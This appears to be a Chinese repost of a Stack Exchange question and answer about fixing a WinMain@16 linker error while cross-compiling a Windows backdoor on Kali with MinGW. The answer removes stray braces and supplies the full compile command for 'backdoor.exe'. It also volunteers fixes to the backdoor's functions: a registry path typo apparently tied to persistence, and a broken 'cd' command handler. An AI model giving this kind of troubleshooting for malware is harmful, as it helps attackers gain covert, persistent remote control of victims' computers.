Kali下使用MinGW编译Windows后门出现WinMain@16未定义报错求解
WinMain@16链接报错解决方案
报错根本原因
- 代码存在语法错误导致WinMain函数未被链接器正确识别
- 编译命令缺少GUI程序入口标识参数
具体修复步骤
1. 修正代码语法错误
你的代码存在两处多余的括号问题:
#define bzero(p, size) (void) memset((p), 0, (size))行下方有一个多余的孤立{,直接删除即可- 此前为解决输入不完整问题在代码末尾额外添加的
}属于冗余内容,同样删除,避免WinMain被包裹在无效的全局块中,导致符号对外不可见
另外还有两处功能相关的错误可以同步修正避免后续功能失效:
RegOpenKey调用参数中的Sof tware中间多了空格,修改为Softwareelse if (strncmp("cd ",buffer, 3 == 0))的括号位置错误,修改为else if (strncmp("cd ",buffer, 3) == 0)
2. 修正编译命令
使用WinMain作为入口的Windows GUI程序,用MinGW编译时需要添加-mwindows参数,告诉链接器使用GUI入口规则而非默认的控制台main入口规则,修改后的完整编译命令如下:
i686-w64-mingw32-gcc -o backdoor.exe backdoor.c -lwsock32 -lwininet -mwindows
执行上述命令即可正常完成编译。
内容的提问来源于stack exchange,提问作者Jake Anderson
相关产品推荐
相关产品推荐

